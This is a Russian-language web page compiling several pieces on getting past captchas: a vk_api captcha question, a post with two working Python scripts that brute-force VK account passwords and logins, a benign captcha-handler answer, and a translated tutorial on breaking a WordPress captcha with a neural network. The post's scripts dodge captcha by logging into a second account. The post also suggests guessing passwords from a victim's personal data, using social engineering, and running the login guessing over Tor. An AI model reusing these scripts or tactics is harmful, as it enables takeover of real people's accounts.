Captcha vk api python
Спустя пару десятков минут капча, конечно, сама исчезает, но это занимает относительно много времени. Вопрос, как реализовать передачу капчи мне, где я, получая её sid и img, возвращаю запрос обратно к вк Не смог разобраться в документации vk_api на этот счёт + не понял некоторые ответы на этот вопрос у других людей, поэтому прошу помощи у вас.
Кстати, если убрать except, то вылезет ошибка vk_api.exceptions.Captcha, но я не понимаю как мне из неё взять sid и img
Обход капчи при авторизации ВКонтакте
Не так давно начал учить Python и попробовал использовать VK API на Python. Поняв как это всё работает решил попробовать и использовал для этого Python модуль vk_api.
С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:
import vk_api vk_session = vk_api.VkApi('79100000000', 'passwordA') vk_session.auth()
Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.
Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.
Далее сделал попытку подбора паролей для страницы А и написал следующий код:
import vk_api, os i = 0 # будем считывать пароли auth_i = 0 # будем считывать круги login_a = '79100000000' #логин к странице А login_b = '79200000000' #логин к странице В password_b = 'passwordB' #пароль к странице В password_file = "password.txt" # файл с паролями # читаем файл с паролями построчно with open('password_file.txt', 'r') as f: password = f.read().splitlines() while len(password) > i: # на каждые 6 раз авторизуемся, что бы избавиться от капчи if auth_i == 6: vk_session = vk_api.VkApi(login_b, password_b) vk_session.auth() os.system("rm vk_config.v2.json") auth_i=0 try: vk_sessions = vk_api.VkApi(login_a, password[i]) # делаем попытку авторизации vk_sessions.auth() print("[###]: "+password[i]) # если Успех, то выводим пароль except: print(password[i]) # если ошибка, то идем дальше считывая пароли auth_i+=1 i+=1
qwerty321 #1 an199910 #2 10an10199 #3 . dxer19991 #53 . #60
И в результате получил dxer19991 .
Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.
Вроде не так страшно, но допустим у нас есть обычный юзер:
Павел Дуровский 1999.10.10 79200000000
Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:
pasha1010 10101999pasha .
И так составить примерно 60 паролей.
Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.
В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.
Кто сказал, что брутить можно только логин?
Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:
import vk_api, random, time, os i=0 codes = [900, 902, 903, 904, 905, 906, 908, 909, 950, 951, 953, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 980, 983, 986, 901, 904, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 950, 978, 980, 981, 982, 983, 984, 985, 987, 988, 989, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 936, 937, 938, 939, 950, 951, 999, 901, 952, 958, 977, 991, 992, 993, 994, 995, 996, 998] # операторы password = "12345678" # пароль по которому будем искать cod = "" #cod = "968" while True: try: if cod == "": login = "7"+str(codes[random.randint(0, len(codes))])+str(random.randint(1000000, 9999999)) else: login = "7"+cod+str(random.randint(1000000, 9999999)) except: print("Error creating login") try: vk_session = vk_api.VkApi(login, password) vk_session.auth() print("[TRUE]>>> login: "+login+" : "+"Password: "+password) file = open("bd.log", "a+") file.write("login: "+login+" "+"Password: "+password+"\n") file.close() i=0 except: if i == 10: # логин и пароль для сброса капчи vk_sessions = vk_api.VkApi('79200000000', "password") vk_sessions.auth() print("reCaptcha") os.system("rm vk_config.v2.json") i=0 else: print("=> "+login+" for "+password) i+=1 time.sleep(0.2) # машину жалко
Ну а после я подключил Тор к консоли и запустил код.
Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.
В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.
Об этом решил сообщить в вк, но ответа всё ещё не получил.
Как обойти капчу в ВК?
Делаю мне надо, чтобы скрипт входил в вк, но выдаёт vk_api.exceptions.Captcha: Captcha needed .
Как обойти капчу?
from bs4 import BeautifulSoup import vk_api import requests from vk_api import VkApi vk_sess = VkApi('899987654321', '12345') vk_sess.auth() session = vk_sess.http print("vk")
- Вопрос задан более года назад
- 343 просмотра
Комментировать
Решения вопроса 1
dimon_9519 @dimon_9519
login = "89997776633" password = "Qwerty123" try: vk_session = vk_api.VkApi(login=login, password=password, captcha_handler=captcha_handler) vk_session.auth() vk_api_main = vk_session.get_api() id_account = vk_api_main .account.getProfileInfo()['id'] print(f'Авторизация прошла успешно, id аккаунта ') except Exception as exc: if 'Captcha' in str(exc): print('Нужен ввод капчи') def captcha_handler(captcha): """ При возникновении капчи вызывается эта функция и ей передается объект капчи. Через метод get_url можно получить ссылку на изображение. Через метод try_again можно попытаться отправить запрос с кодом капчи""" key = input(f'Введите код капчи, ссылка на изображение капчи : \n').strip() return captcha.try_again(key)
Ответ написан более года назад
Пример обхода капчи за 15 минут с помощью нейросети на Python
Как обойти капчу на примере самого используемого в мире плагина для WordPress Really Simple Captcha. Обход капчи на python довольно тривиальная задача, но получится ли это сделать за 15 минут?
Капча (CAPTCHA) — надоедливая картинка с текстом, которую надо ввести, чтобы попасть на сайт. Капчу придумали чтобы роботы не могли автоматически заполнять формы, и чтобы владельцы сайта были уверены, что пользователь — человек. С развитием машинного обучения и нейронных сетей, ее зачастую стало довольно просто обойти.
Я прочел отличную книгу: Deep Learning for Computer Vision with Python, которую написал Adrian Rosebrock. В этой книге Адриан описывает способ, которым он взломал капчу на сайте E-ZPass New York используя машинное обучение:

У Адриана не было доступа к исходному коду, генерирующему капчу. Чтобы обучить модель, ему пришлось скачать тысячи картинок и вручную разметить все надписи.
Но предположим, что мы хотим обойти капчу, к исходному коду которой у нас есть доступ.
Я зашел на WordPress.org Plugin Registry и ввел в поиске “captcha”. Первый результат назывался “Really Simple CAPTCHA” и установлен более миллиона раз.

И самое крутое — он с открытыми исходниками! Раз у нас есть алгоритм, генерирующий картинку, его, должно быть, не сложно обойти. Чтобы было сложнее, ограничим себе время. Можно ли уложиться в 15 минут? Давайте попробуем!
Важное замечание: Это ни в коем случае не критика плагина “Really Simple CAPTCHA” или его автора. Сам автор указал, что плагин более не является надежным и рекомендует использовать что-нибудь другое. Это просто небольшой интересный челлендж. Если вы один из того миллиона пользователей, установивших его, то возможно вам стоит сменить данный плагин на что-нибудь другое
Челлендж: обход капчи на Python
Для начала посмотрим на изображения, создаваемые Really Simple CAPTCHA. На демке видим это:

Итак, капча состоит из четырех букв. Убедимся в этом, посмотрев исходники:
public function __construct() < /* Characters available in images */ $this->chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'; /* Length of a word in an image */ $this->char_length = 4; /* Array of fonts. Randomly picked up per character */ $this->fonts = array( dirname( __FILE__ ) . '/gentium/GenBkBasR.ttf', dirname( __FILE__ ) . '/gentium/GenBkBasI.ttf', dirname( __FILE__ ) . '/gentium/GenBkBasBI.ttf', dirname( __FILE__ ) . '/gentium/GenBkBasB.ttf', );
Да, действительно капча создается случайным образом из четырех букв или цифр с разными шрифтами. Символы “O”, “0”, “I”, “1” не используются, чтобы пользователь не путался. Остается 32 символа, которые нужно распознать. Не проблема!
Прошло: 2 минуты
Набор инструментов для решения капчи
Перед тем, как решать задачу, перечислим инструменты, которыми мы будем пользоваться:
Python 3
Python — простой и мощный язык программирования с отличными библиотеками для машинного обучения и машинного зрения.
OpenCV
Популярная библиотека для обработки изображений с поддержкой алгоритмов машинного зрения. Мы будем использовать ее для предварительной обработки капчи. OpenCV написана на C++, но все ее функции вызываются из питона, чем мы и будем пользоваться.
Keras
Фреймворк для машинного обучения, написанный на питоне. С его помощью легко строить, обучать и использовать нейронные сети. Требует минимального количества кода.
TensorFlow
Гугловская библиотека для машинного обучения. Мы будем пользоваться только Keras, но сам Keras в качестве бэкенда использует TensorFlow, поэтому его тоже придется установить.
Итак, обратно к задаче!
Создаем датасет
Чтобы собрать любую модель машинного обучения, требуются обучающие данные. Нам понадобятся данные, выглядящие следующим образом:

Так как у нас есть исходный код плагина, создающего капчу, мы можем его использовать, чтобы нагенерировать 10,000 изображений, и для каждого будет известна расшифровка.
Пару минут повозившись с кодом и добавив в него простой цикл ‘for’, я получил папку с обучающими данными — 10,000 PNG файлов, в названии которых указан правильный ответ:

В этом и только в этом месте я не дам вам рабочий пример кода. Мы делаем это в образовательных целях, и мне не хочется, чтобы вы заспамили реальные сайты, работающие на WordPress. Вместо этого, я дам ссылку на 10,000 изображений, сделанных мной, чтобы вы могли повторить мой результат.
Обход капчи на python: упрощаем задачу
Теперь, когда есть обучающие данные, мы могли бы их использовать напрямую, обучив по ним нейросеть:

С достаточным количеством данных, этот подход мог бы даже сработать. Но можно сделать решение капчи на python проще. Чем проще задача, тем меньше нам понадобится обучающих данных и вычислительных ресурсов, чтобы ее решить. У нас ведь всего лишь 15 минут!
К счастью, капча состоит всего из четырех символов. Если как-нибудь разделить ее так, чтобы каждая буква была отдельным изображением, то можно будет обучить нейросеть распознавать по одному символу за раз:

У меня нет времени разрезать каждую из 10,000 картинок в фотошопе. Это бы заняло несколько дней, а у меня осталось всего 10 минут. И нельзя просто автоматически разделить все картинки на 4 одинаковых куска. Потому что алгоритм задает символам случайное горизонтальное положение:
Символы сдвинуты случайным образом, чтобы изображение было сложнее разделить.
К счастью, это всё же можно автоматизировать. При обработке изображений часто приходится находить связные области из пикселей одного цвета. Границы таких областей называют контурами. В OpenCV есть встроенная функция findContours(), которую мы используем, чтобы найти связные области.
Итак, начнем с изображения капчи:

Преобразуем изображение в бинарное (это называется thresholding), чтобы было легче найти связные области:

Далее, используем функцию findContours(), чтобы выделить связные группы пикселей, состоящие из одного цвета:

Теперь, нужно просто сохранить каждый прямоугольник как отдельное изображение. И, так как мы знаем последовательность символов в каждом изображении, можно подписать каждый прямоугольник своим символом при сохранении.
Погодите-ка! Тут есть проблемка! Буквы в капче иногда накладываются друг на друга:

И наш алгоритм отмечает их как одну:

Если проблему не решить, то у нас будут плохие обучающие данные. Это нужно исправить, потому что с такими данными мы обучим модель распознавать эти две слившиеся буквы как одну.
Простой выход из этой ситуации сказать, что если какой-то прямоугольник в ширину сильно больше, чем в высоту, то это нужно считать двумя буквами. В этом случае, прямоугольник можно просто разрезать посередине и считать, что это два прямоугольника:

Мы разделим пополам все прямоугольники, ширина которых сильно превышает высоту, и будем считать их за две буквы. Способ слегка “химический”, но с этими капчами работает.
Теперь, когда у нас есть способ извлекать из капчи отдельные буквы, давайте прогоним наш алгоритм через весь датасет. Цель — получить много вариантов написания для каждой буквы. Каждую букву можно сохранять в отдельную папку.
Вот так выглядит моя папка с буквой “W” после того, как я запустил свой алгоритм:

Некоторые буквы “W”, вытащенные из наших 10,000 изображений. У меня всего получилось 1,147 разных “W”.
Прошло: 10 минут…
Создаем и обучаем нейросеть
Так как нам нужно всего лишь распознавать одну букву или цифру, нейросеть со сложной архитектурой не потребуется. Распознавание символов — это гораздо более простая задача, чем распознавание сложных изображений, к примеру, кошек и собак.
Будем использовать простую сверточную нейросеть с двумя сверточными (convolutional) слоями и двумя полносвязными (dense):

Задать архитектуру нейросети используя Keras можно всего в несколько строк:
# Build the neural network! model = Sequential() # First convolutional layer with max pooling model.add(Conv2D(20, (5, 5), padding="same", input_shape=(20, 20, 1), activation="relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) # Second convolutional layer with max pooling model.add(Conv2D(50, (5, 5), padding="same", activation="relu")) model.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2))) # Hidden layer with 500 nodes model.add(Flatten()) model.add(Dense(500, activation="relu")) # Output layer with 32 nodes (one for each possible letter/number we predict) model.add(Dense(32, activation="softmax")) # Ask Keras to build the TensorFlow model behind the scenes model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
Теперь можно обучать нейросеть!
# Train the neural network model.fit(X_train, Y_train, validation_data=(X_test, Y_test), batch_size=32, epochs=10, verbose=1)
После 10 прогонов по всему обучающему набору, мы достигаем точности почти в 100%. В начале мы ставили задачу обойти капчу на python. И мы это сделали!
Прошло: 15 минут (фух!)
Используем обученную модель для обхода капчи
Теперь, когда нейросеть обучена, ее можно использовать для взлома капчи:
- Взять изображение капчи с сайта, который использует этот плагин.
- Разбить картинку на четыре части, на каждой из которых по одному символу.
- Прогнать каждую часть через нейросеть.
- Использовать выданные нейросетью буквы, чтобы решить капчу.
- PROFIT!
Вот так выглядит расшифровка реальной капчи:
А в командной строке вот так:
Попробовать самому!
Если хотите попробовать сами, то возьмите код здесь. Он включает 10,000 картинок и код для каждого шага в этой статье. Инструкция к запуску в файле README.md.
Но если хочется вникнуть и понять, что делает каждая строчка кода, советую купить книгу Deep Learning for Computer Vision with Python. Она содержит более детальное объяснение и кучу разобранных примеров. Это единственная книга из тех что я видел, в которой объясняется и как это работает, и как это использовать, чтобы решать реальные и сложные задачи. Рекомендую!
Разгадать капчу с помощью AI поможет сервис Capsolver.